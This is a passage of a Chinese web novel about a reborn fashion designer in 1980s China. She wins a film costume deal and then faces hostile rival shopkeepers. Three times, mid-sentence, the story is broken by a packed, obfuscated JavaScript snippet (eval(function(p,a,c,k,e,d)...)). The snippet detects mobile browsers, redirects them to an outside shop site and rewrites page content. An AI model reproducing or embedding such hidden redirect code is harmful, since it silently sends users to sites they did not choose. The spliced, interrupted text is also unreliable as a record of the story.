她撑起身子，离开自己坐的位置，此刻可不是犯低血糖的时候。绿皮火车每节车厢之间冬季的晚上都是十分寒冷的，冷气会顺着缝隙吹进来，和列车外的温度也差不离。水非仙为保持清醒，找个没人的列车连接处，通过连接处附近的窗户，欣赏夜景。 冷风刺激得水非仙一下就恢复清醒，她甚至要不断地跳来跳去，才能维持身体的温度。这样的连接处会发出非常大的噪音，到夜里一般不会有人过来，也因此水非仙在这里跳也不会打扰到旁人休息。 此刻的窗外，看不到万家灯火，有的是与现代相比格外明亮的月亮与夜里都清晰可见的云朵。 “二八二五六，二八二五七，二八二九三十一。”小莲喜欢和她陈玲姐姐一起跳皮筋儿，水非仙在跟凳子腿一起，帮忙撑皮筋的时候，也偷摸着学了点儿，这下可算有了用武之地。 跳着跳着，天就被她跳亮了。远处天边一抹鱼肚白撑破天际，那抹鱼肚白之下，藏匿着火辣辣的霞光，水非仙赶在这抹霞光吞噬天空之前，率先回到车厢。天亮了，也代表她快到站了。 “请出示各位的火车票啊。”火车上的工作人员已经开始挨个查票，在工作人员到达之前，已经有不少人躲开或者提前逃进厕所。有好几位查出来是假票的人因票价昂贵，补不起票而跟工作人员喊得面红脖子粗。万幸到水非仙这里，她的票是真的。这无疑是为水非仙省下二十块钱。更重要的是，水非仙一直紧绷的心弦总算是能放松下来。 列车到站后，水非仙跟着人群，走出车站，这时的火车站台还不大，不需要花费多少时间就能来到车站门口。水非仙走到车站大门口，一眼就望到站在车前等待的高歌。 看到高歌的那一刻，水非仙才明白为什么有导演在拍摄主角时，喜欢虚化背景。有的人分明只是站在那里，就和身边的人感觉是两个世界、两个时代。 看到水非仙走过来，高歌招呼水非仙上车。上车后的高歌，神情专注地开着车，只是眼神始终不曾看向后座的水非仙，手指也下意识地一直在轻拍方向盘。 “目前在内地拍摄的电影有四部，一部恐怖片，一部犯罪片，两部爱情片。能来得及让你赶过来的只有这部，我托关系要到了大概的剧情介绍，放在后座了，你看一下。” 水非仙拿起身旁的资料翻阅起来，她属实有些意外，高歌能做到这个地步确实是令人想不到。 “还有，我在介绍你时，稍微包装了一下。说你是我即将开业的百货商场，最大的服装品牌，在这一带非常具有影响力。我个人建议，你只有一个店的事，还是不要提起，你未来的潜力我很相信，这不代表所有人都愿意去相信。”高歌叮嘱道。 水非仙微笑回答：“我懂，促成交，本就是虚虚实实。” 高歌点点头：“我只是多唠叨一句，我相信你可以拿下。一会儿可能对方只能给你几句话的时间，提前想想要说什么。”高歌说完，又补充一句：“要是不成功，也不用灰心，本来能成的概率就不高。一会儿我就在隔壁那条街等你，等你谈完，我就开车跟你一起回Y市，现在车票不好买。” 说完，高歌偷偷往后视镜里观察水非仙一眼，只一眼又跟眼睛被烫到一样不再往后看假装无事发生。可惜水非仙在后座忙着翻剧本，什么都没看到。 这部电影，水非仙前世看过一部类似的，大概就是讲一位港城顶级富豪，不喜欢拜金女，一直对家里安排的相亲非常抵触。一次偶然的机会，他 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她在餐厅门口，深呼吸一次后推开门进入。挂起一抹礼貌的微笑，水非仙走到那导演对面的座位，坐了下来。 “你好，王导，我是高先生介绍来的，水非仙。”水非仙礼貌点头。 那王导听到水非仙的话，放下食物，擦擦手用一口不是很流利的普通话回答水非仙：“水小姐，你好呀。你的来意我听高少讲过啦。我们的电影呢，已经拉到服装品牌赞助啦，是很不错的欧美品牌，暂时是不需要的，你的好意，我代表我们剧组心领了。请代我问高少好。”说完，王导就看看手表，然后起身，准备离开。 这答案与水非仙预想中的也差不多，她拼命克制住自己的情绪，让语气听起来不要着急，她跟着起身，继续争取道：“王导，您既然选择内地来取景，那必定是内地的风土人情与您作品的内容息息相关，既然如此，在服装选择加上一点内地设计师的作品，或许可以更有说服力。” 听到水非仙的话，那王导拍拍肚子笑起来，边笑边走：“我也想啊，可是内地的设计师，最好的也做不出我想要的效果，或许十年之后可以有，但现在，还不是时候。”能看出王导此人非常重视时间观念，在他起身走向门口时，他的司机已经将车子开过来。 眼见着他已经打开车门，就要上车。水非仙一把拽住他的车门，请求道：“王导，请你给我一次机会，给内地一次机会，看看我的作品，或许会有不一样的答案。” 王导看见水非仙拽着车门不放的样子，眉头紧蹙，怒道：“水小姐，你再这样我报警了。哪怕是高家，也不能决定我用谁不用谁。”说完他用力关闭车门。 可他想象中，车门关闭的声音，并没有响起，取而代之的是“嗵”的一声，车门夹住手肘发出的足以听出力度的巨大声响， 王导满脸惊愕地看着面前的水非仙，有些震惊道：“你……” 而他面前的水非仙，手肘卡在车门里，疼得满头冷汗，嘴唇发白，面子上却还是礼貌地微笑着，她再一次重复：“请你给我一次机会，给内地一次机会。” 39.未来 “水小姐，你先去医院吧。你的作品交给我，我会看的。”王导有些被惊到，刚才发出的那一声令人牙酸的巨响犹在耳畔，他试问当初刚出来闯荡的自己也没办法在遭受过这样的痛苦后，面不改色地继续争取。王导，少年时家里也发生过变故，就连自己的事业走上正轨后那都是一波三折，人们都说自己电影拍得多，烂片多，谁知道那不过是家人欠下的债务太多，他需要高产来还债罢了。可如今他也是靠着这股不服输的劲儿，坐在了港片的前排座位。眼前这女子的这股劲劲儿的感觉落在王导眼里突然就让他回想起自己年轻时的样子。或许，是该给她次机会，自己都闯过来了这样的人未来还能差到哪里去？况且还能卖高少个好。 水非仙把手中的本子，平平稳稳地交给王导，里面除了火车上的涂鸦之作，还有一些平时在店里闲暇之时创作的设计手稿，只是将本子交过去后，水非仙仍旧不愿离开，她那只受伤的手肘还不死心地卡在车门中间。 王导叹口气道：“小姑娘，你去看病，我答应你认真看，那就不会骗你。要是有下一步合作我会直接联系高少。” 水非仙听到对方这么说，这才将手肘从车门里拿出，鞠躬道：“那麻烦您了，王导。”说完她就直着腰杆子，离开原地，去隔壁街找高歌。 高歌正好在车里等她，就见水非仙过来伸出手指，轻轻敲敲驾驶座的窗户。高歌降下窗户就听对方没说什么别的，只上车坐到后座，留下一句，“带我去医院，拜托了。”高歌看到水非仙满头的冷汗，也没问别的，带着她快速开车赶到医院。 赶到医院后，水非仙打开车门，下车后攥紧右手，咬紧牙关，拼着一口气走向急诊部，在看到急诊部第一位护士时，她开口说：“大夫，我这左手手肘被车门夹了。”刚一说完，她便直挺挺向前栽倒在地，将眼前的护士跟后面跟着的高歌吓得心惊肉跳， 一番折腾后，水非仙再次睁眼已经是下午。 水非仙一睁眼就看到半边被染成苹果绿色的墙体，右手附近白色的铁制吊瓶架，还有铁架床边，正在翻报纸的高歌。 高歌看到水非仙醒来，有些生气，却又不知道自己在气什么，只能出声吐槽：“水小姐，你终于醒了。集低血糖、伤寒感冒、软组织损伤于一身，知道你是做生意的自然不说，不知道的还以为你每天出门是去打猎的。” 听到高歌的话，水非仙没忍住，“噗嗤”一声笑出来。她看看自己被吊在脖子前的左胳膊，试着晃了晃，“嘶”的一声疼得抽气。这一举动引得高歌放下手中的报纸，脸色更加不好看起来。水非仙并不知道此刻的高歌在生气，她自嘲道：“你别说，真是天道好轮回，几个月前，就这同一个位置，我抢地盘时拿半个玻璃瓶给人手肘捅了，这不，我这还得给人还回去。” 听到这话的高歌脸色青了又紫，紫了又青，想说什么，最终还是被自己的教养拖累，说不出口。憋到最后不过蹦出一句：“水小姐可真是女中豪杰，是摆个摊也能打群架，坐个车也能忍常人所不能忍，还能在手肘被门夹后一口气冲到医院的。花木兰和穆桂英来这儿，怕是看到水小姐都要靠边了。” 水非仙摆摆手：“哪里哪里，低调低调。” 看着水非仙被自己嘲讽后还得意扬扬的样子，高歌直感觉一股怒气徘徊在胸口发泄不出去，他冷笑道：“你知道现在自己的手肘处青紫一片有多吓人吗？作为设计师好歹是要爱护自己的饭碗吧？也不知道水小姐的丈夫对水小姐的所作所为有何看法？会不会因为水小姐这样不爱惜自己的行为而生气呢？水小姐下次冲动做事前能不能先考虑一下家人的感受？” 水非仙正欲说些什么，就听到病房外传来敲门声。高歌边起身开门边解释道：“应该是王导，你刚晕过去不久，他就跟我通话说是要来看你，我告诉他你的情况，让他下午过来的。恭喜你，如果我猜得没错，你很大概率是拿下他了。” 高歌将门拉开，门外站着的果然是王导，不同于从前的态度，这次王导进门来脸上挂着微笑，手里甚至还提着一袋水果罐头。 看到王导过来，水非仙欲起身迎接，被王导匆忙拦下：“水小姐，病着就不要起身了。” 王导说着将罐头放在水非仙旁边的床头柜上，微笑道：“一点小小的心意，水小姐不要拒绝。”说罢，他又走到病床旁边的凳子上，坐好后双手交叉在身前。将水非仙的本子从包里拿出来，递给水非仙。 “水小姐，我想，我得先跟你道个歉。”他边说，边冲水非仙竖起大拇指道：“水小姐，我承认从前是我仍然抱有偏见，我在没了解前就发布了不对的言论，我现在将这话收回。我们大华国的文化，博大精深，南北是该一直保持互相学习，互相支持的态度，我不该先入为主的，水小姐你是很优秀的设计师，你让我相信，华国在不远的将来，优秀的人才会如雨后春笋般涌现。圈里人都知道，我老王从来不害怕说话，我一直是有话就说的。所以今天，我错了就是错了，今天我在这里代表我们剧组，向水小姐发出邀请，水小姐，你可愿不计前嫌为我们的影片出一份力？” 之前面对那样疼痛都面不改色的水非仙此刻听到王导的话，有些呆愣在那里，不敢置信。但她快速调整过来，王导不愧是王导，不管他这番话能有几分是出自真心，听着都让人能感到他的真诚，叫人听着心里舒坦。 “王导，我可以问一下，究竟是哪份手稿打动了你吗？”水非仙问道。 王导笑呵呵道：“其实，你的设计手稿都很不错，只是它们虽好很好，却也不足以战胜我们的赞助品牌背后的品牌效力。真正让我改变主意的，是你在本子的最后，画的那几位应该是列车上的路人画像。” 水非仙有些不解：“那不过是涂鸦之作？如何能入王导的眼。” 王导摇摇头：“水小姐啊，不经意地创作更能反映出创作者的情绪和内心想法，那几幅你在路上随手创作出的作品，让我不仅看到你的乐观你对创作事业的热爱和用心，更重要的是，你让我相信，我在不远的将来，真的能看到我们华国民族的崛起。再加上，我们这部片中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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伊夫圣罗兰：水，抱歉，我不是那个意思。就因为我自己很多地方不注意，我才害怕我欣赏的后辈走上跟我一样的路。没有指责你的意思。 水非仙：罗兰前辈，你在说什么啊？我怎么听不懂，你有说过我不好吗？今天我来，是有事想要问大家。 珍妮朗万：我们都看到了，恭喜。 这时，前面一直不见踪迹的X突然现身：你怎么受伤了？疼不疼？还好吗？ 水非仙轻叹口气，认真码字：我没事，不用担心。我是有事要问。 卡尔拉格斐：恭喜，水，我知道你要问什么。这部电影里你要设计的那两套在咱们的世界里确实是我的作品。我要告诉你，水，我这一生服务过三个品牌，到哪个品牌我就为哪个品牌做它们品牌风格的时装。从前很多人嘲笑我作为设计师没有自己的风格。但，那又怎样，终究是我一次又一次为香奈儿更新了形象。所以，放手去做，不用在乎我的感受，无论你是在我的基础上进一步改良也好，又或者是彻底推翻也罢，只是，不要让我失望。 水非仙：收到，谢谢拉格斐前辈。 40.梨花院落溶溶月 三天后，王导暂住的酒店套房里，王导、女主演、造型师一起在套房内，等待水非仙的到来。比起导演的从容淡定，女主角跟造型师看上去显得有几分担忧。 “王导，你确定要用内地的造型师？不是说内地不好，只是内地毕竟封锁了那么久，这服装设计行业才刚刚起步吧，咱们这两个镜头还是很重要，需要出彩的，真的没问题吗？”造型师皱着眉头，不放心地再一次跟王导确认。 “是啊，王导，我跟我内地圈内的诸多好友确认过，都没听过一个叫水非仙的，王导你可得小心，不能被骗了。”女主角也跟着说道。 套房的大门，为等待水非仙是敞开的。听到女主角跟造型师抱怨的话，王导只笑着说：“别急，等成品到了，试着不合适，再说。咱们也有备用的，倒是不用担心这个。” 几人正说着，水非仙进入屋内，带着两个神秘兮兮中式风格的礼盒。她微笑着走到几人面前，放下礼盒，打招呼并介绍道：“王导，各位老师，这两个盒子，是按照电影拍摄顺序摆放的。如果没有什么问题的话，这位老师就可以随时开始试穿了。” 没什么问题？问题大了去了，女主角心想，用顶级奢侈品牌的高定拍出的精彩瞬间可是能够成为自己经典名场面的，这对女明星来说至关重要，怎么就换成了个名不见经传的设计师跟听都没听过的牌子，要说她自己，心里是百般不愿意的。 可既然她能把衣服拿到自己面前，说明导演是欣赏她的，那无论如何自己都得试这一下，试穿以后估计效果也好不到哪里去，到时候再随便找个借口给她打发了就好。 想到这里，女主角微笑着礼貌点头，跟造型师一起捧着衣服进入隔壁房间，去耐心性子试穿。 她二人试穿起来倒是快，没多久女主角就穿着水非仙准备的第一套回到房中。刚才还笑容勉强的女主角，此刻已经满脸惊喜，她微微提着裙摆，迈开长腿，优雅地大步走回客房中间，看到女主角此刻装扮的王导眼前一亮，跟在后面的造型师更是掩盖不住眼里的欣赏。 那女主角将目光第一次转向水非仙，这才发现原来这位设计师十分年轻，论长相还完全不输给自己，心下对水非仙的好感瞬间又提升几分，她对着水非仙露出满意的笑容道：“水小姐，它好美，这设计有名字吗？我相信穿着它出镜，一定会是我个人的经典镜头。” 此刻的女主角，身上的这套礼服，水非仙是根据经典小黑裙改良后制作而成，上半身保留优雅的一字肩，好展示女主角的天鹅颈，下半身水非仙则是将其改成鱼尾的形状，又缀以深黑色有质感的亮片，在走路时可以无形中拉伸整个人在视角上的身长。身穿此裙的女主，看上去低调又不失品味，优雅而不失质感。 水非仙道：“有的，它的名字是叫星夜，只是下一件作品才是我为您准备的出圈之作。这部电影作品，我是认为应当是层层铺垫，最后的结尾来个升华的。如果两件作品，没有主次，就会看上去有些乱，也不能够点题。当然，这是我自己浅薄的理解，也不知道对不对。” 王导认可道：“是这个理。” 听到另一件作品才是主菜，女主角心里更加开心，她将裙摆一拎，兴奋道：“我这就去换。”说完，踩着高跟鞋哒哒哒地跑的飞快去往隔壁，换第二套衣服。 水非仙望着女主角的背影，同一部电影，这位女主角和自己生前看到的那位，却有不同。提起前世的那位，可是一等一的英气美人。眼前这位，小鹿般的大眼睛，分明又平添几分率真和活泼在里面。下一件作品，放在前世那位大美人身上到底是有几分不合适，和面前的这位，倒是完美适配。 女主这次换衣服，用了更短的时间，当她再次出现的那一刻，王导倒抽冷气，直接起身，他压抑不住自己内心的激动，还好，还好自己没错过这位少年天才。 那女主角更是感到眼眶热热的，她缓步走过来，温柔地问水非仙：“水小姐，我想跟你买下它，它叫什么，我能感觉到它似乎有个主题。” 水非仙微笑道：“老师，这件衣服本来就是要送你的。它有个很长的名字，取自晏殊的《油壁香车》，叫梨花院落溶溶月，柳絮池塘淡淡风。” “梨花院落溶溶月，柳絮池塘淡淡风。”女主角跟着默念，这样美的名字，就跟这件作品一样，她有预感，这条裙子将是她人生重要的组成部分。今天的事真是给了自己一个教训，先入为主的偏见差点让自己失去一次重要的出彩机会。 水非仙上前为在场的几位介绍道：“上半身我用极简的无肩处理，突出女主角自身的美。终点就在裙子的裙摆处，我选用与月亮同色的银色丝线绣上大朵梨花，尤其在阳光下，能够发出如月光般柔和却能够轻易引人注目的光芒，若是仔细看，更会发现这梨花绣法上的诸多细节。整个裙子的裙摆，我刻意将其处理得比较轻盈，又可以将其做得好似散开的涟漪，就好像真的是池塘的水面在随风起舞，上面又点缀着多层褶皱的轻纱，远远看来，好像真的柳絮飞舞一般。这是来自中式美学的意境，也是我认为贵电影该补上的一部分。咱们华国文化，博大精深，既然要接触到内地，就该让全世界看看，内地真正的色彩。” 听到这里的造型师已经忍不住，为水非仙送上响亮的掌声，她忍不住称赞道：“水，真是精彩，大开眼界，你这样的天才，真是内地娱乐圈的宝贝，我不敢想你未来会有多受追捧。” 水非仙摇摇头，解释道：“我不是天才，我付出了很多努力才走到今天。哪怕是这件作品而言，我也不过是提供一个设计，真正操作起来，还有我们莲仙的其他家人帮助我。各位老师，请看这条裙摆上绣成的精美梨花。你们能想象，这是一位断臂少女用双脚制成的吗？我不过是一通电话，平时都害怕与人接触的她，没有说别的，就让母亲背着自己，匆忙挤火车赶过来。这一下火车，就没闭过眼，我们几人连夜地赶，才赢得今天几位老师的赞叹。所以，我从来不是天才，我只是比别人幸运一点。” 听到水非仙的话，王导眼神认真对着水非仙道：“好好经营你的莲仙，以后如果有需要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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水非仙无奈道：“好了，白姐，你快别操心了。一个芹芹都不够你操心的，还要连我也管上。我女儿都那么大了，又没伤到骨头，现在已经不疼了。哎，小莲面前，你们可不能提啊，别让我闺女担心。” 高歌看着后视镜，眼里含笑，这三人还真是像一家人。 “这次多亏了高老板，耽误高老板这么久，还又搭你的顺风车回Y市，真是不好意思。高老板想要什么补偿，尽管提，你帮我见王导这个不算，这个我算欠你个人情，以后还你个大的。单就你这么多天的帮忙，你好好想想，想要什么，你哪怕想要天上的星星，都可以。小女子摘不下来也给你去想想办法。”解决掉店里困境的水非仙心情极好，刚跟白秀云母女开过玩笑，此刻又转头跟高歌夸下海口。 高歌想到接下来这几天堆积的待处理事项就头疼，可他面上还是礼貌微笑道：“没什么，顺路而已，这两天我本就是要留在X市的。水小姐若真是感谢我，下次别再突然栽倒就行。” 高歌的话，引得白秀云的目光如刀子一般再次射过来，吓得水非仙拉过王芹芹来挡。高歌看着后座发生的一切，解气地心想，果然，还是要找到合适的人才能收拾她。 时间像高歌的车子一样不停前进。王导为赶进度，电影很快就上映，上映没多久，女主提名金影奖，水非仙的设计在其中发挥的作用不少。电影片尾处对莲仙的致谢，一下子让莲仙的名字火遍大江南北。为把握这波热度，努力撑过三月的水非仙专门做了电影展示牌并在四月初摆放在莲仙的门口。她猜测到莲仙会火，可当热度真的扑到脸上来的时候到底还是超出她的预计，当然，随之而来的还有挑战。 41.闹事 80年代末到90年代初的华国人，由于物价上涨飞快，都有囤货的习惯。尤其在88年到89年在民工潮的影响下，这种现象达到一种夸张的程度。 当时售卖必需品的店铺，在营业以前门窗外没有水非仙这样的条件，都是立着一块块木板做隔挡。每天天还没亮，店铺外就是人挤人的状态。店里的老板害怕出现踩踏或者抢劫的行为，都会只取下其中几块木板，让等在店外的顾客排着队，通过这条缝进行交易。 基本上，生活必需品、外汇等一度都是这样。能买一斤米的钱留在手里，一个月后用同样的钱就买不起一斤米。家家户户家里屯着超过自己家中需求的物品。 水非仙的衣服活了以后，不仅在市内一度出名，本省其他市的人也会坐车赶来购买，连隔壁几个省的人都来不少，导致前往Y市的火车票一度卖脱销。这商品如此好卖，想投资的人外币又抢不上，那不如来莲仙买两件衣服好了。且不说自己穿出去也有面子，这是当下内地非常火的牌子，价格也还好，才一两百。那不穿了以后，包装留着，转手还能卖个高价，傻子才不去抢。 这就导致四月水非仙开店的第一天，店中几乎一半的衣服都被同一个在地想干渠道的客户买走，引得后面排队的客户骂个没完。当晚水非仙店中三人只得熬夜赶制，才堪堪保证第二天的正常营业。 水非仙想起从前摆摊的教训，生怕这个时候有人趁机发不义之财。急忙跑去工商局注册莲仙的商标。并在自己店中所有衣服的袖口处，都让王芹芹，绣上一个漂亮的“仙”字。谁知加上这防伪用的标志，后续顾客反而更加追捧。 到了第二天，水非仙看着眼前密密麻麻的人，无奈只得搬个桌子卡在店门口，每个人进店，不可以携带口袋或者背包，进门时都寄存在门口。出店时，手里的东西结清一个人的账，给他包装好才让他提着东西走。过程中，白秀云都得全程守在一楼看着，王芹芹在二楼不停地劳作才行。 “我先来的，这件裙子是我的。”一个老年男子拉着手里的裙子不放手，另一个中年女子也抓着衣服不愿意松手，“你说你先来的就是你先来的啊，明明是我先看到的。” 白秀云赶紧上前相劝，“这裙子您二位穿都不是很合适，而且这衣服就这一个尺寸了。旁边还有别的衣服，不然多看看？” 听到白秀云的话，那二位的心虚几秒，还是那女子眼珠一转，率先向前两步硬气道：“我就给我闺女买的，她就穿这个尺寸，不行吗？这裙子样子最复杂，还有绣花，她就要这样的。” 那老头也跺脚硬气道：“我孙女也穿这尺寸，也就要这样的。你把手松开。”说完上前狠狠撞那女子一下，那女子被撞，火气噌地一下就上来，骂道，“你这老东西。”就扑上去要抓对方的头发。 白秀云怎能让他们在店里打起来，最后没办法，还是她挡在中间，再三保证明天这样式还会做，两人才消停下来。这样的情况在店里到处都能看到，如果不是白秀云看得紧，顾客们恐怕把用来造景的那些摆设用的衣服都要扒下来带到门口去结账。一天下来，水非仙感觉到自己的双手都要冒火星子。 没办法，最后只能将店面的营业改为上四休三，每周一到周三休店时再赶制这一周要卖出的衣服，与此同时，还加上一位客户一次限购一件的规定。这规矩一出来，好多来抢货的渠道商瞬间不满，纷纷找水非仙评理：你要是不同意二次销售，为什么前面有人成功从你这里拿货了？你能卖给他为什么不能卖给我？做生意怎么还区别对待？ 水非仙无奈只得再次道歉：实在是人手不够，暂时先这样，一定尽快调整。渠道商这才骂骂咧咧散去，并表示之后还会来，希望水非仙言而有信。 虽然辛苦，但结果是喜人的。水非仙粗略算过，一周的营业额算下来，净利润就达到五千，那一个月下来少说有个两万了。看着好像没有特别多，但这个年代，普通一个店面一个月的收入能在三四千，就是生意非常好的，水非仙只是店铺与同时代比投入过大，才需要高额利润才能回本。从前她能赚到一万出头，那都是高定占了大头的结果，这一个月的两万可是没有接一单高定后的收入，在特殊时期，还闭着眼走高定路线显然会撞得头破血流，及时根据市场转型，才能保证长盛不衰。这还是在人手不够的情况下，若人手充足，恐怕一个月下来还不止这个数。眼下是吃着电影刚播出不久的红利，若不能及时在红利时期站稳脚跟，只怕过不了多久，又会回到从前的样子。还是得尽快准备招人才行，可招到合适的裁缝谈何容易，不能够心急。 一条街的个体店如果大家一样，生意都不见起色，那彼此之间都是乐乐呵呵，一旦有人打破这种平衡，与其他的店比起来生意好上太多，那就会成为整条街一致的敌人。 从店铺生意火爆起来的第三周开始，整条街运货的三轮车，都喜欢停在莲仙的门口，就连水非仙在店铺旁随意种的花朵，也被拔得一朵都不剩。饶是这样，这些店家们还嫌不够。他们凑在一起，秘密探讨，怎么将水非仙店面的流量利用起来，为自己的店换回一丝生机。 胖子拉面店的老板昂首挺胸站在人群之中，曾与水非仙有几分过节的他，此刻俨然成为一条街商铺老板中的领头羊。 “你们放心，这事交给我，她们的店我已经秘密研究很久，现在已经找到突破口。我来为大家打头阵，到时候一定要叫她把从我们这里抢走的客人交出来。只是，到时候我冲在第一个的时候，你们可要为我说说话，我们一起把气势做出来才行。她一个女娃娃家，见我们这么多男的上门理论，自然就会害怕，到时候就好说了。”面店老板说完，其他人都表示没有问题。 于是，挑中一个人流量多的中午，面店老板带着整条街的老板就这么雄赳赳气昂昂地上门了。 “你就是水非仙吧，还记得你胖哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12987007|134372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我吗？”面馆老板双手抱臂，走到水非仙跟前，高傲开口。 水非仙停下手上的动作，抬头瞥一眼面前的人和他身后站着的十几个看上去就是来找事的男人，冷冷开口道：“我没有哥哥，更不记得还有什么胖哥的，你是哪个？” 面店老板本以为见到这么多来找事的男人，水非仙一个小姑娘定会害怕，就算面上不显，那嘴里也得客气几分，谁承想，竟还是一样的不给面子。 那胖老板恼羞成怒，上前两步，狠狠一拍水非仙面前的桌子，怒道：“把你的态度放好点，你胖哥我今天来，不是来找你聊家常的。你的店有不可告人的秘密，要是曝光出来，我看谁还敢买你的衣服，你要是想解决问题，让我们不要说出你的秘密，那就乖乖把客人交出来，有钱大家一起赚。一个女娃娃，抢大家的活路，心真是黑透了。” 店里的客人们被这一声重响吓得逃离一大半，但还有一小部分人，听到水非仙开店有不可告人的秘密，出于八卦心理，在店里找位置藏好，准备继续听是什么事。 水非仙听着对方满口胡言，心里大概知道对方是为何而来，她坐起身，扫视一圈周围的店家，像是要记住今天来的都是哪些人。她那凌厉的视线，看得这些老板正题还没开始，就有几分心虚起来。 胖老板明显感觉到自己这方处于下风，他为重振士气，脑袋一扬，大声喝道：“你看什么看？回答我的问题，别以为你是个女的，我们就不敢咋样了？我们这些做生意多年的，那都是从底层开始摸爬滚打上来的，什么事逼急了都能做出来。” 水非仙冷笑一声，轻蔑看向他，开口道：“好，当着这么多客人的面，我倒要看看你今天要做出什么事来？”说完她又朗声对后面的其他老板们说道：“诸位在想什么，水某心里清楚。要说这客人是水某抢来的，你当客人们是什么？客人们都是活生生的人，有自己的想法，水某抢不来，就在半个月前，水某的生意可跟诸位相比，一般无二啊。不过是水某在生意上多用心，多付出，才换来今天的成果，我也奉劝诸位一句，与其找旁人的不痛快，不如做好自己。水某虽然是一介女流，却也不怕事，若你们执意如此，在水某这里不仅讨不到一点好处，还得接得住水某的涌泉相报才行。” 那面馆老板听到这里，心里暗自想，到底是个女娃娃沉不住气，当着这么多男人的面还敢撂狠话，真是不知道天高地厚。心中不自觉看轻水非仙几分，他转向店内的客人，大声喊道：“各位，我是这条街胖子拉面店的老板，我后面这些人都是本条街优秀的个体户，我们知道扫各位的兴不好，但为你们着想，哪怕惹你们不开心，我们也不想你们继续被这个恶毒的女人骗，今天就商量好一起来揭穿此人的真面目，还望大家做个见证，不要再被蒙蔽双眼。” 那胖老板，转头怒视水非仙，指着店里的二楼道：“既然你问心无愧，不妨告诉大家，你这二楼，藏了什么？” 42.刺绣 “不过就是正常的二楼，能藏什么？我店里的缝纫机、布料以及高定试衣间都在二楼。” “是吗？我可听说，你们店里的衣服是有人用脚做的。各位顾客，你们争着抢着要买的衣服，是用脚做的！醒醒吧，这家店根本都不尊重你们。卖给你们的，不过是某人的擦脚布而已！”那胖老板振臂高呼，听到他如此言之凿凿，店中顾客的心里也泛起嘀咕。 听到那胖老板言语间如此对王芹芹不尊重，水非仙双眼危险地眯起，正要上前与这胖老板理论一番，就见王芹芹穿戴整齐地从楼上走下来。 “你指的是我吗？”王芹芹坦然下楼，属实让水非仙和白秀云感到吃惊，楼下正聚集着大量的顾客，换成以往，处在这样的环境里王芹芹必定是要害怕的，也因此她平时白天就待在店里二楼不会轻易下楼。此刻楼下不仅聚集着大量的人，更有对她敌意满满的胖老板一伙。而王芹芹，竟然就这么走下楼选择直面内心的恐惧。 “芹芹，你……”白秀云想要上去护住王芹芹，王芹芹却先一步走到母亲身前，选择站在水非仙的身边。 “各位顾客，我就是他口中那位用脚制衣的人。我用脚制衣，并非不尊重客人，我身有残疾，从小就失去了双臂，我的脚就是我吃饭的工具。我靠它生存，自会让它干干净净，有什么好偷偷摸摸的？”王芹芹给了水非仙和白秀云一个安抚的眼神，毫不畏惧迎上胖老板的视线说道。 “你说得好听，残疾人是弱势群体就有理了吗？你用脚做的就是用脚做的，别拿那些有的没的来当你的挡箭牌，不是你弱，靠卖可怜博同情就能把问题解释清楚的。”胖老板脖子一伸，吹眉瞪眼道。 “谁告诉你，我弱了？”王芹芹转身到桌子前坐下，冲水非仙微笑道：“水姐姐，麻烦你帮我把我的行头拿来。” 水非仙点点头，上楼和白秀云一起将王芹芹的绣绷绣架还有绣线等一系列工具搬下楼来。 全部在王芹芹身前摆好后，王芹芹对店内的顾客朗声道：“各位顾客，我整天待在店里二楼，不是如眼前这位所说，我们莲仙有什么见不得人的。而是我自失去这双臂后，听惯了嘲讽见惯了别人看我不一样的眼神，我害怕与人交往，可今天，有人要拿这来说事，伤害我爱的人，伤害我爱的莲仙，那我王芹芹避无可避。我没有任何博同情的意思，因为我本身就不弱，我配得上成为莲仙的一分子。不过，既然有人提出质疑，那我也没什么好怕的，就通过作品来证明自己，如果大家看得高兴，看得喜欢，请为我们莲仙说说话，现在这一群大老爷们儿，没有丝毫道理，硬是欺负到我们头上来了。” 说罢，王芹芹坐下，她没有忙着去绣，而是将一根绣线挑出来，就当着众人的面，将这一根丝线，分成300股细如牛毛的线。用着围观众人都费力才能看清的绣线，王芹芹埋头认真在绣布上聚精会神地绣起来。 她绣得认真，围观群众看得也出神，王芹芹绣的是一只猫头，她下针又稳，速度又快，围观的顾客在不知不觉间就忘记威胁，凑到跟前发出赞叹。 “真神奇啊。是一层一层往上叠加细节的吗？我感觉到这层就已经很好看了已经。” “你们看那猫咪脸上的绒毛，一根一根非常传神，感觉这猫就跟要活过来一样。” “行了，你们小声点，别再打扰人家。” “我的天呐，和她的双脚比起来，我这双手就跟猪蹄子一样，不，猪蹄子还能补胶原蛋白。我这手除了看着比较臃肿，再没有丝毫用处。” 本身绣这幅作品就只为炫技，绣得差不多，王芹芹就停下来道：“各位，我绣这幅作品只为证明自己，要整个绣完，恐怕需要一周时间。如果大家感兴趣，事后我会绣完，挂在店门口，届时大家路过可以来仔细瞧瞧，今天就不耽误大家伙儿的时间了。” 人群中响起热烈的掌声，这水平，称一声大师都不为过，真正有本事还这样励志的人，谁能不叹服。 那几位老板，脸色早已在雷鸣般的掌声中变得铁青，那胖老板眼见自己这边不沾一丝好，又上前一步，还想说什么，可这一次，王芹芹瞥见他的动作先他一步开口。 